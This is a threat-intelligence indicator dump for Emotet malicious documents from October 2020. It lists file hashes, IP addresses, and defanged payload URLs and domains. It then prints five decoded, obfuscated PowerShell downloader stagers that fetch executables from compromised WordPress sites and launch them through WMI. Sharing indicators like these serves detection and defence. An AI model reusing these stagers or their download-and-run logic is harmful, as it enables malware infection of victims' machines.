Emotet_Doc_out_2020-10-26_14_18.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
c201dc04bed84411f216935bcad9296fdb3e99daa909ead17006846758dc8346
c1718ae59d4016ff77c75028aea5650470a58f4b1cf4fd008ce0be30f77abef2
aa3e50abcbd642f12530871687c316d9f26ce5a4da358bf343b6cc10c2133aa7
f8657b5b2e388a496654b53280633fc2d8b9548843bd0449db6559576ca7703e
fd2a5bfcf5c92c62a07ff56b7922642757dc7eaba0cd58753f22c5c082c05d0d
2abddf44ec8224372481262071d1c56bbd016b6c3bf03319da7330b0d13758c6
0f7d25ca53837ee02d337a5f2e901a415fd61ef5f9307a2126d6bebda45ee81b
67786c012c609d51f05ab8baf0b6d2730fb368dc5e7830120f783c17fafd1342
80010abe36b57ef34cc2ce4b60279baec022ba3768fe907e007aa675a341741c
cf8e5f4b9f87821ba0edd028c1d6d960617f72cfc89db121fe217b5348f70815
7e34b236380a624f5afa1583c2fa9d671c5aa6c14bb1dfa28c65bc434f91f8d7
8da6bc6bc8c4aa4d7f018f1a116e0c71e2a29af1ceac26da6c4da7bee56cac93
faa33149d345e9adf3669005f9ea7f78fb32912277bfb1abf77d21c0643ee029
9e199bed5e4395a2ceded7308a14088c1875309fe68c26e1b528ac977ca79d9d
ff954aabba6a98a93a3e714a0043dc95e352d61ac86dc2b921ddcf1b5b7b2bb2
ff954aabba6a98a93a3e714a0043dc95e352d61ac86dc2b921ddcf1b5b7b2bb2
6d91807585909756c047d6afd49811e9e0b4ff3bd9f57329990dea30b6948dd0
6cb1fc62cff2e432626de0c3b36ba451bb56c6824fc0443a339ddbf694d38c85
a2dc4080bb426f76c6182b98e4aba3b80c8912559d461039e4ff47fd7f2ea5d1
a2dc4080bb426f76c6182b98e4aba3b80c8912559d461039e4ff47fd7f2ea5d1
4096d7d1c0199966fde303b69f4bf1da55be1c2171b0eb8a1e4f538f70be98b4
4096d7d1c0199966fde303b69f4bf1da55be1c2171b0eb8a1e4f538f70be98b4
837394e50387f3b76947bdc15f7e1693415f857683b21038e0d70e6a976f45f4
837394e50387f3b76947bdc15f7e1693415f857683b21038e0d70e6a976f45f4
ff6d3c607b5f92d70c1f9fd9de7df3fd0e8e4b6c690c04a6705baa30d71c4f68
ff6d3c607b5f92d70c1f9fd9de7df3fd0e8e4b6c690c04a6705baa30d71c4f68
e3ca2be908f68f28888873f89737bc88fe6d099ba91c023d51967b0f9b636a3b
8fa6b4ff0a164073304538a362010521446ed8adc11963e56a59640c1e957e6e
860ee8a8803028ce94e25d0ac5161306747611896325bb2eeaa4020d3e1a7e36
860ee8a8803028ce94e25d0ac5161306747611896325bb2eeaa4020d3e1a7e36
600944a8e31541dd30539cd424196c2058aae58382cfdafbfe174b573ac78d2f
600944a8e31541dd30539cd424196c2058aae58382cfdafbfe174b573ac78d2f
d6f7bdb1b5ff4287a1bb5679161b98f7941f0091197b37d04fba163501754706
54456b60df78f2193b63332e4beeb6df5ea91a69e3e15221638def0842678c72
54456b60df78f2193b63332e4beeb6df5ea91a69e3e15221638def0842678c72
80807f7b46cee69143b47855b4bef3d59e8a79099dc5304bc3375c93e640f341
33bc493e35171898f15cc529330ffef62bef083d637effcac019e6afbb5fae73
4c42cdb38e4b83de81d9ae2f8e709dfb3eb681761bc551eeab0b6338bb249882
765e89c4456d35ab3a5bf56b6a042967b1c8b06044ceb48fa0fb71de951146cf
985cb745f120b9542dd23e388212466ee8d90da9eba5eb0cbccd57424c2af8ca
0bf526e029df73af6aa6314a7f6b49274ddc52603022ec6b191e7b4a7e1a78ff
359aebb978cdbbdc8059937cd2ca3f2c1b4e13aaaa5180e560bbbc203f0d1560
0231bc27e673f5d22b291e5653e498f8bb7e278d7d9b521aaa3cf2ecfbac49a5
fe14a4d7748bf0a3cce3ee87081d8deea4fd019340725af83271e36693b11389
800b0814055620a28c02480afc02d9b61980c868f8ddb1a6474d83004689a6dd
3c4b28997ea3923c75bd6ad828712092665df3819693cbab171f0ec34d4a16d3
da1652d93c500443c646c476a32a65ee7ad8adc03abd169589fc00ee3879a1c9


IPs:
103.8.25.135
104.131.40.118
104.18.48.39
104.18.49.233
104.18.49.39
104.18.63.160
104.27.168.178
104.27.169.178
104.28.26.212
104.28.27.212
104.31.77.164
106.75.249.88
13.234.68.224
139.162.202.130
148.72.196.10
148.72.78.145
160.153.138.219
164.68.110.47
165.227.74.125
172.67.150.75
172.67.155.28
172.67.169.203
172.67.184.170
172.67.184.64
18.144.102.5
184.95.62.211
186.202.153.171
198.13.52.19
203.161.184.58
207.244.225.187
207.45.186.17
31.210.65.222
45.40.150.136
46.17.175.19
51.89.205.128
52.117.30.8
54.196.101.140
77.245.149.35
81.68.185.94
89.221.212.63
93.114.234.109



URLs:
hxxp://inbichngoc.com/wp-admin/S/
hxxp://ulkucusarkilar.com/networko/wN/
hxxp://rise-creative.com/cgi-bin/K/
hxxps://celestinastore.com/old/rB/
hxxps://ferreteriassolano.com/wp-content/x/
hxxps://aryacreations.com/wp-includes11/tf/
hxxps://www.sinapsisenergia.com/customerl/tE/."Repl`ACE"/,/."s`PLIt"$Fiwe68k  $Dlyqnum  $O9r9_qn;
hxxp://innhanmacquanaogiare.com/wp-includes/Jh1/
hxxp://www.edgeclothingmcr.com/indexing/c9/
hxxps://thepremiumplace.com/wp-content/5/
hxxps://florinconsultancy.com/wp-content/1/
hxxps://udaysolopiano.com/wp-content/J/
hxxps://sanayate.com/wp-includes/hd/
hxxps://www.jorgecoronel.com/webmaster/kYH/."REplA`ce"/,/."s`PLIt"$V6j7qz1  $F03znkf  $Kpttb46;
hxxps://madrushdigital.com/wp-admin/OJ5Uu5J/
hxxp://heankan.bio/js/T8oCHm/
hxxps://jupitermarinesales.com/wp-content/cache/xLWIP/
hxxps://lovetraveltoday.com/localisationl/0zwJxNkMRK/
hxxps://unikaryapools.com/wp/JWUG4n/
hxxp://www.akdgroup.co.in/jio/8vSciyhM/
hxxp://ufak2.com/demo/2hhpCYzwTL/."Re`pLACE"/,/."sPl`it"$Vg_3u79  $Vuhn50i  $X5kae9k;
hxxps://punto-0.org/wp-content/peqlZz/
hxxps://mahesaku.com/wp-content/AEnN/
hxxp://www.1024db.com/wp-admin/Vf/
hxxps://www.roofwellness.com/wp-admin/S0/
hxxps://nurmarkaz.org/wp-content/LL/
hxxps://wp83.talentsprint.com/wp-content/d0NpZ7/
hxxp://campflamingo.org/wp-content/QCTr/
hxxp://fasthomesolutions.flywheelsites.com/wp-content/9bWnm4P/."rE`place"/,/."s`PLit"$Rs_2dqn  $F2xw1rx  $Lfiwpvd;
hxxp://primaage.com/wp-admin/is/
hxxp://uvibrands.com/QIG/
hxxps://morrobaydrugandgift.com/wp-contentbak/T9M/
hxxp://autodidactai.com/wp-content/5SF/
hxxps://cs.vitalero.com/wp-includes/Vf/
hxxp://arcadia-consult.com/wp-admin/6O/
hxxp://acheterpermis-deconduire.com/wp-admin/network/vv/."rePLa`CE"/,/."SP`liT"$Wofaxh3  $L6jmis9  $Vuv2hjc;


Domains:
inbichngoc.com
ulkucusarkilar.com
rise-creative.com
celestinastore.com
ferreteriassolano.com
aryacreations.com
www.sinapsisenergia.com
innhanmacquanaogiare.com
www.edgeclothingmcr.com
thepremiumplace.com
florinconsultancy.com
udaysolopiano.com
sanayate.com
www.jorgecoronel.com
madrushdigital.com
heankan.bio
jupitermarinesales.com
lovetraveltoday.com
unikaryapools.com
www.akdgroup.co.in
ufak2.com
punto-0.org
mahesaku.com
www.1024db.com
www.roofwellness.com
nurmarkaz.org
wp83.talentsprint.com
campflamingo.org
fasthomesolutions.flywheelsites.com
primaage.com
uvibrands.com
morrobaydrugandgift.com
autodidactai.com
cs.vitalero.com
arcadia-consult.com
acheterpermis-deconduire.com


Decoded Base64 Powershell:
<���^,sEt-ITeM VARIAbLE:2ly    [TYpe]"{3}{1}{0}{2}"-Ft,c,oRy,SysTeM.IO.dIrE  ;
  $59uP3= [typE]"{4}{0}{5}{2}{3}{6}{1}" -fSTem,AnAGeR,eT.serV,ICE,SY,.N,poinTM;
 $En5gxwr=At2d235;
$Dlyqnum=$D53qwse  [char]64  $Otx2_t7;
$Hxja1gm=S9shxri;
    VArIAblE  2ly  -VALUe  ::"cRe`ATE`DIReCtoRY"$HOME  {0}Uggt1nv{0}Fln_bya{0} -F[CHaR]92;
$Mg5h8vo=Gyxd_1j;
  $59uP3::"SECur`ITy`p`ROTOc`OL" = Tls12;
$Qk4es5r=Mw2za9u;
$Ts4ux4b = Hgj5zy;
$Sjv3cui=Zy_umze;
$Rz62k5z=Heu45rq;
$Ptp8ooh=$HOMEs4hUggt1nvs4hFln_byas4h."re`pl`AcE"s4h,\$Ts4ux4b.exe;
$Z1d69bp=Fp4aaoh;
$Ci14cfj=&new-object nEt.weBclIENT;
$Jpter5i=hxxp://inbichngoc.com/wp-admin/S/
hxxp://ulkucusarkilar.com/networko/wN/
hxxp://rise-creative.com/cgi-bin/K/
hxxps://celestinastore.com/old/rB/
hxxps://ferreteriassolano.com/wp-content/x/
hxxps://aryacreations.com/wp-includes11/tf/
hxxps://www.sinapsisenergia.com/customerl/tE/."Repl`ACE"/,/."s`PLIt"$Fiwe68k  $Dlyqnum  $O9r9_qn;
$Fguxvja=Hpt6byx;
foreach $Uihnleq in $Jpter5i{try{$Ci14cfj."dowN`LoAd`F`iLe"$Uihnleq, $Ptp8ooh;
$Xgwv7l0=Khk_vrp;
If .Get-Item $Ptp8ooh."L`EngTh" -ge 45599 {[wmiclass]win32_Process."c`ReATe"$Ptp8ooh;
$H566u49=Z6poq77;
break;
$Pb564x7=Mho0ab4}}catch{}}$T4264bn=Rn7ruz_<���^,  $qPZNC=  [TypE]"{0}{5}{2}{4}{3}{1}" -Fs,y,.iO,tOR,.dirEC,ysteM  ;
  seT-ItEM VaRiaBle:Z6o5   [typE]"{0}{1}{4}{3}{2}"-f SY,s,anagEr,ePoIntm,TEM.NeT.SERVIc   ;
 $Omp2_tl=Bi4xost;
$F03znkf=$Zx9az9n  [char]64  $Lyh0w6m;
$Qrfa7ot=Jjv_d2_;
  GEt-varIabLE qpznc .valUe::"CRE`AteDIRe`c`TOrY"$HOME  fJuZywxi7nfJuMn7d8nmfJu -replaCEfJu,[ChAr]92;
$Vvdkqlv=Zjkmlm1;
  GEt-VarIabLE Z6o5.VALue::"sE`cUr`ITYpR`otOCoL" = Tls12;
$X9a8mtp=Crypmnc;
$Pee7ykv = Rieb3cpl;
$Oawdgea=Jdf1dwl;
$Mg0xgjx=Oydhzq6;
$Vasawfh=$HOMEMCFZywxi7nMCFMn7d8nmMCF."REpla`CE"[chAR]77[chAR]67[chAR]70,\$Pee7ykv.exe;
$Sa4s5s9=R70j8av;
$Oflpy17=.new-object Net.WEBcLIent;
$Nykqibj=hxxp://innhanmacquanaogiare.com/wp-includes/Jh1/
hxxp://www.edgeclothingmcr.com/indexing/c9/
hxxps://thepremiumplace.com/wp-content/5/
hxxps://florinconsultancy.com/wp-content/1/
hxxps://udaysolopiano.com/wp-content/J/
hxxps://sanayate.com/wp-includes/hd/
hxxps://www.jorgecoronel.com/webmaster/kYH/."REplA`ce"/,/."s`PLIt"$V6j7qz1  $F03znkf  $Kpttb46;
$Gyac55n=Gx0kknj;
foreach $Oe0qvbg in $Nykqibj{try{$Oflpy17."d`O`WnLoadfIle"$Oe0qvbg, $Vasawfh;
$Cro5g0c=Hsdo_pl;
If .Get-Item $Vasawfh."l`En`GTh" -ge 47175 {[wmiclass]win32_Process."CrE`ATE"$Vasawfh;
$Aaj_s5a=Hw51qab;
break;
$Zqvpb3k=A4l10a6}}catch{}}$Cjjm_vv=Kl7nil6<���^,  SET-vAriabLe  N80Bhw   [tyPe]"{4}{1}{5}{3}{0}{2}"-FDirECT,Ystem,Ory,IO.,s,. ;
    SeT-Item vaRIAble:5vM2  [TYpE]"{0}{5}{8}{6}{4}{1}{7}{3}{2}" -f SyS,epOi,Ger,anA,erVic,Tem.n,t.S,NTm,e ;
  $Uxejpkk=Hsrmqhb;
$Vuhn50i=$Rxqmfs3  [char]64  $U4expao;
$Ddvg501=Tqv6g00;
   get-iTEm "V""aRI""ABle:""n80Bh""W" .VAlUe::"c`ReA`TEdIreCt`Ory"$HOME  zRjUbd6nylzRjMb1rklpzRj."R`EP`Lace"zRj,\;
$Zs4y6d0=W0rxgxh;
   Get-VarIaBle 5Vm2 -VaLuE  ::"secu`RIt`yPro`TOC`oL" = Tls12;
$C_hnw6o=X0vz98_;
$E83jnim = V6y9i2yce;
$H7rdmei=Th3wyed;
$T8sjn_0=Ul_kanm;
$U4gk8xv=$HOMEV1LUbd6nylV1LMb1rklpV1L-rEPLACE  V1L,[CHar]92$E83jnim.exe;
$Flusj4x=Mwf4cih;
$Tz_7xt0=&new-object net.WebcLIENT;
$Ab88nbu=hxxps://madrushdigital.com/wp-admin/OJ5Uu5J/
hxxp://heankan.bio/js/T8oCHm/
hxxps://jupitermarinesales.com/wp-content/cache/xLWIP/
hxxps://lovetraveltoday.com/localisationl/0zwJxNkMRK/
hxxps://unikaryapools.com/wp/JWUG4n/
hxxp://www.akdgroup.co.in/jio/8vSciyhM/
hxxp://ufak2.com/demo/2hhpCYzwTL/."Re`pLACE"/,/."sPl`it"$Vg_3u79  $Vuhn50i  $X5kae9k;
$Wxomuv4=Gb425gv;
foreach $Ie20nw7 in $Ab88nbu{try{$Tz_7xt0."DOWn`lOA`DFilE"$Ie20nw7, $U4gk8xv;
$Dqr6ovv=Kivpswm;
If &Get-Item $U4gk8xv."l`en`GTH" -ge 40441 {[wmiclass]win32_Process."Cre`A`Te"$U4gk8xv;
$T8q67_i=Asscgs2;
break;
$S7zrqal=A9m_nqy}}catch{}}$Hpcjf2j=Gqnddki<���^,  set v09And   [TyPE]"{6}{4}{5}{1}{3}{2}{0}" -Fy,M,oR,.Io.DiRECT,sT,e,SY ;
  SEt yhe   [tYPe]"{0}{8}{1}{6}{2}{7}{4}{3}{5}"-f Sys,EM.ne,.SE,intMaNaG,VICEPo,ER,t,r,T  ;
$Mps4qds=Xqzaagz;
$F2xw1rx=$T88p53u  [char]64  $Eqxqn67;
$E2fk05a=Vbdy2r6;
  $V09anD::"CrE`AtEdIr`eCto`Ry"$HOME  hJnLmb_eqshJnWkgepsvhJn."R`EP`LAce"hJn,\;
$Paotvfc=Wtxaqcx;
   vaRiAbLe  YhE  .VaLUE::"SeCU`Ri`TY`PrOTocOl" = Tls12;
$O_6kaog=Xuv3y7i;
$Qomn262 = P97mrnea;
$Lpqh_93=Bd3xuyg;
$Mwbvka_=Yoshlvh;
$N7273y3=$HOMEZxeLmb_eqsZxeWkgepsvZxe."re`Pl`AcE"Zxe,[STRiNg][ChaR]92$Qomn262.exe;
$Vwv_218=Vox4qbb;
$Gbvu66l=.new-object net.WeBclIEnT;
$Nxz4s36=hxxps://punto-0.org/wp-content/peqlZz/
hxxps://mahesaku.com/wp-content/AEnN/
hxxp://www.1024db.com/wp-admin/Vf/
hxxps://www.roofwellness.com/wp-admin/S0/
hxxps://nurmarkaz.org/wp-content/LL/
hxxps://wp83.talentsprint.com/wp-content/d0NpZ7/
hxxp://campflamingo.org/wp-content/QCTr/
hxxp://fasthomesolutions.flywheelsites.com/wp-content/9bWnm4P/."rE`place"/,/."s`PLit"$Rs_2dqn  $F2xw1rx  $Lfiwpvd;
$W950dhd=Sp28oh6;
foreach $Thd8r3v in $Nxz4s36{try{$Gbvu66l."dOwn`LOAD`FILe"$Thd8r3v, $N7273y3;
$Jis5vr3=Ggtvrlh;
If .Get-Item $N7273y3."L`EN`GtH" -ge 35054 {[wmiclass]win32_Process."CREa`Te"$N7273y3;
$E8thdhr=Gazzraj;
break;
$Iihck7p=L19ytkp}}catch{}}$Mwikl1k=Apmqdz3<���^, SET-variabLE mxk7   [tyPe]"{3}{4}{5}{2}{0}{1}" -fiR,EctorY,d,S,YstEM.,io. ;
Set-itEM  VARiABLE:hyNwB3    [TYpE]"{3}{2}{0}{4}{1}" -fEM.NeT.S,rVICEPointMANAGeR,sT,sy,E  ;
  $Lfae3z7=Yl6mzvf;
$L6jmis9=$Vpfq_4o  [char]64  $P141djk;
$Mn8dr5a=Koydv4a;
  $MxK7::"crEAt`eDiRE`cto`Ry"$HOME  {0}Hlywoqf{0}L16iy2n{0}  -F [cHAR]92;
$P6pjw97=Tntc8gg;
  geT-VARiaBle  hYNwB3  -VaLUeO::"S`ecu`R`ItyPR`OtocoL" = Tls12;
$Ag7lybs=Kuawekc;
$M2hp2yo = R9ei5acus;
$Iel01jh=Bp9zhun;
$Wc8ksrk=J0b07ae;
$Gpjkh09=$HOMEM4CHlywoqfM4CL16iy2nM4C-replAce  [Char]77[Char]52[Char]67,[Char]92$M2hp2yo.exe;
$Voznzq5=Kgiy6_1;
$Zhx8bx2=.new-object Net.WEbCliEnT;
$Rndm_7g=hxxp://primaage.com/wp-admin/is/
hxxp://uvibrands.com/QIG/
hxxps://morrobaydrugandgift.com/wp-contentbak/T9M/
hxxp://autodidactai.com/wp-content/5SF/
hxxps://cs.vitalero.com/wp-includes/Vf/
hxxp://arcadia-consult.com/wp-admin/6O/
hxxp://acheterpermis-deconduire.com/wp-admin/network/vv/."rePLa`CE"/,/."SP`liT"$Wofaxh3  $L6jmis9  $Vuv2hjc;
$Hx746_2=Fe7ljx7;
foreach $N59f7h8 in $Rndm_7g{try{$Zhx8bx2."D`oWnlOaDf`iLe"$N59f7h8, $Gpjkh09;
$Grcr6dy=P5te7dv;
If .Get-Item $Gpjkh09."LE`NgTh" -ge 33179 {[wmiclass]win32_Process."Cre`AtE"$Gpjkh09;
$Enie917=T4tmqxh;
break;
$Es2gvhh=Ghbrwte}}catch{}}$Shdjyjl=F4dlflf